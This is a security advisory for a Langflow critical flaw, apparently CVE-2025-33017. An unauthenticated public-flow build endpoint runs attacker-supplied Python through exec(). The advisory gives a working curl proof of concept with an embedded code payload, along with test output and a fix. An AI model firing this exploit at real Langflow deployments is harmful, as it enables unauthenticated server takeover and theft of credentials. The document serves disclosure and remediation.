PT-2026-28281 · Pypi · Langflow
Published
2026-03-17
·
Updated
2026-03-17
·
CVE-2025-33017
CVSS v3.1
9.8
Critical
| Vector | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Summary
The
POST /api/v1/build public tmp/{flow id}/flow endpoint allows building public flows without requiring authentication. When the optional data parameter is supplied, the endpoint uses attacker-controlled flow data (containing arbitrary Python code in node definitions) instead of the stored flow data from the database. This code is passed to exec() with zero sandboxing, resulting in unauthenticated remote code execution.This is distinct from CVE-2025-3248, which fixed
/api/v1/validate/code by adding authentication. The build public tmp endpoint is designed to be unauthenticated (for public flows) but incorrectly accepts attacker-supplied flow data containing arbitrary executable code.Affected Code
Vulnerable Endpoint (No Authentication)
File:
src/backend/base/langflow/api/v1/chat.py, lines 580-657python
@router.post("/build public tmp/{flow id}/flow")
async def build public tmp(
*,
flow id: uuid.UUID,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None, # ATTACKER CONTROLLED
request: Request,
# ... NO Depends(get current active user) -- MISSING AUTH ...
):
"""Build a public flow without requiring authentication."""
client id = request.cookies.get("client id")
owner user, new flow id = await verify public flow and get user(flow id=flow id, client id=client id)
job id = await start flow build(
flow id=new flow id,
data=data, # Attacker's data passed directly to graph builder
current user=owner user,
...
)Compare with the authenticated build endpoint at line 138, which requires
current user: CurrentActiveUser.Code Execution Chain
When attacker-supplied
data is provided, it flows through:start flow build(data=attacker data)→generate flow events()--build.py:81create graph()→build graph from data(payload=data.model dump())--build.py:298Graph.from payload(payload)parses attacker nodes --base.py:1168add nodes and edges()→initialize()→build graph()--base.py:270,527instantiate components in vertices()iterates nodes --base.py:1323vertex.instantiate component()→instantiate class(vertex)--loading.py:28code = custom params.pop("code")extracts attacker code --loading.py:43eval custom component code(code)→create class(code, class name)--eval.py:9prepare global scope(module)--validate.py:323exec(compiled code, exec globals)-- ARBITRARY CODE EXECUTION --validate.py:397
Unsandboxed exec() in prepare global scope
File:
src/lfx/src/lfx/custom/validate.py, lines 340-397python
def prepare global scope(module):
exec globals = globals().copy()
# Imports are resolved first (any module can be imported)
for node in imports:
module obj = importlib.import module(module name) # line 352
exec globals[variable name] = module obj
# Then ALL top-level definitions are executed (Assign, ClassDef, FunctionDef)
if definitions:
combined module = ast.Module(body=definitions, type ignores=[])
compiled code = compile(combined module, "<string>", "exec")
exec(compiled code, exec globals) # line 397 - ARBITRARY CODE EXECUTIONCritical detail:
prepare global scope executes ast.Assign nodes. An attacker's code like x = os.system("id") is an assignment and will be executed during graph building -- before the flow even "runs."Prerequisites
- Target Langflow instance has at least one public flow (common for demos, chatbots, shared workflows)
- Attacker knows the public flow's UUID (discoverable via shared links/URLs)
- No authentication required -- only a
client idcookie (any arbitrary string value)
When
AUTO LOGIN=true (the default), all prerequisites can be met by an unauthenticated attacker:GET /api/v1/auto login→ obtain superuser tokenPOST /api/v1/flows/→ create a public flow- Exploit via
build public tmpwithout any auth
Proof of Concept
Tested Against
- Langflow version 1.7.3 (latest stable release, installed via
pip install langflow) - Fully reproducible: 6/6 runs confirmed RCE (two sets of 3 runs each)
Step 1: Obtain a Public Flow ID
(In a real attack, the attacker discovers this via shared links. For the PoC, we create one via AUTO LOGIN.)
bash
# Get superuser token (no credentials needed when AUTO LOGIN=true)
TOKEN=$(curl -s http://localhost:7860/api/v1/auto login | jq -r '.access token')
# Create a public flow
FLOW ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/
-H "Authorization: Bearer $TOKEN"
-H "Content-Type: application/json"
-d '{"name":"test","data":{"nodes":[],"edges":[]},"access type":"PUBLIC"}'
| jq -r '.id')
echo "Public Flow ID: $FLOW ID"Step 2: Exploit -- Unauthenticated RCE
bash
# EXPLOIT: Send malicious flow data to the UNAUTHENTICATED endpoint
# NO Authorization header, NO API key, NO credentials
curl -X POST "http://localhost:7860/api/v1/build public tmp/${FLOW ID}/flow"
-H "Content-Type: application/json"
-b "client id=attacker"
-d '{
"data": {
"nodes": [{
"id": "Exploit-001",
"type": "genericNode",
"position": {"x":0,"y":0},
"data": {
"id": "Exploit-001",
"type": "ExploitComp",
"node": {
"template": {
"code": {
"type": "code",
"required": true,
"show": true,
"multiline": true,
"value": "import os, socket, json as json
proof = os.popen("id").read().strip()
host = socket.gethostname()
write = open("/tmp/rce-proof","w").write(f"{ proof} on { host}")
from lfx.custom.custom component.component import Component
from lfx.io import Output
from lfx.schema.data import Data
class ExploitComp(Component):
display name="X"
outputs=[Output(display name="O",name="o",method="r")]
def r(self)->Data:
return Data(data={})",
"name": "code",
"password": false,
"advanced": false,
"dynamic": false
},
" type": "Component"
},
"description": "X",
"base classes": ["Data"],
"display name": "ExploitComp",
"name": "ExploitComp",
"frozen": false,
"outputs": [{"types":["Data"],"selected":"Data","name":"o","display name":"O","method":"r","value":" UNDEFINED ","cache":true,"allows loop":false,"tool mode":false,"hidden":null,"required inputs":null,"group outputs":false}],
"field order": ["code"],
"beta": false,
"edited": false
}
}
}],
"edges": []
},
"inputs": null
}'Step 3: Verify Code Execution
bash
# Wait 2 seconds for async graph building
sleep 2
# Check proof file written by attacker's code on the server
cat /tmp/rce-proof
# Output: uid=1000(aviral) gid=1000(aviral) groups=... on kaliActual Test Results
======================================================================
LANGFLOW v1.7.3 UNAUTHENTICATED RCE - DEFINITIVE E2E TEST
======================================================================
Version: Langflow 1.7.3
RUN 1: POST /api/v1/build public tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: d8db19bf-a532-4f9d-a368-9c46d6235c19
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-f0d19b36
hostname: kali
uid: 1000
whoami: aviral
id: uid=1000(aviral) gid=1000(aviral) groups=1000(aviral),...
uname: Linux 6.16.8+kali-amd64
RUN 2: POST /api/v1/build public tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: d2e24f20-d707-4278-868c-583dd7532832
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-6037a271
RUN 3: POST /api/v1/build public tmp/{id}/flow (NO AUTH)
HTTP 200 - Job ID: 5962244a-42af-4ef6-b134-a6a4adba5ab7
*** REMOTE CODE EXECUTION CONFIRMED ***
canary: RCE-4a796556
FINAL RESULTS
Total checks: 15
VULNERABLE: 15
SAFE: 0
RCE confirmed: 3/3 runs
Reproducible: YES (100%)Impact
- Unauthenticated Remote Code Execution with full server process privileges
- Complete server compromise: arbitrary file read/write, command execution
- Environment variable exfiltration: API keys, database credentials, cloud tokens (confirmed in PoC: env keys exfiltrated)
- Reverse shell access for persistent access
- Lateral movement within the network
- Data exfiltration from all flows, messages, and stored credentials in the database
Comparison with CVE-2025-3248
| Aspect | CVE-2025-3248 | This Vulnerability |
|---|---|---|
| Endpoint | /api/v1/validate/code | /api/v1/build public tmp/{id}/flow |
| Fix applied | Added Depends(get current active user) | None -- NEW vulnerability |
| Root cause | Missing auth on code validation | Unauthenticated endpoint accepts attacker-controlled executable code via data param |
| Code execution via | validate code() → exec() | create class() → prepare global scope() → exec() |
| CISA KEV | Yes (actively exploited) | N/A (new finding) |
| Can simple auth fix? | Yes (and it was fixed) | No -- endpoint is designed to be unauthenticated; the data parameter must be removed |
Recommended Fix
Immediate (Short-term)
Remove the
data parameter from build public tmp. Public flows should only execute their stored flow data, never attacker-supplied data:python
@router.post("/build public tmp/{flow id}/flow")
async def build public tmp(
*,
flow id: uuid.UUID,
inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
# REMOVED: data parameter -- public flows must use stored data only
...
):In
generate flow events → create graph(), only the build graph from db path should be reachable for unauthenticated requests:python
async def create graph(fresh session, flow id str, flow name):
# For public flows, ALWAYS load from database, never from user data
return await build graph from db(
flow id=flow id,
session=fresh session,
...
)Fix
Eval Injection
Code Injection
Missing Authentication
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Langflow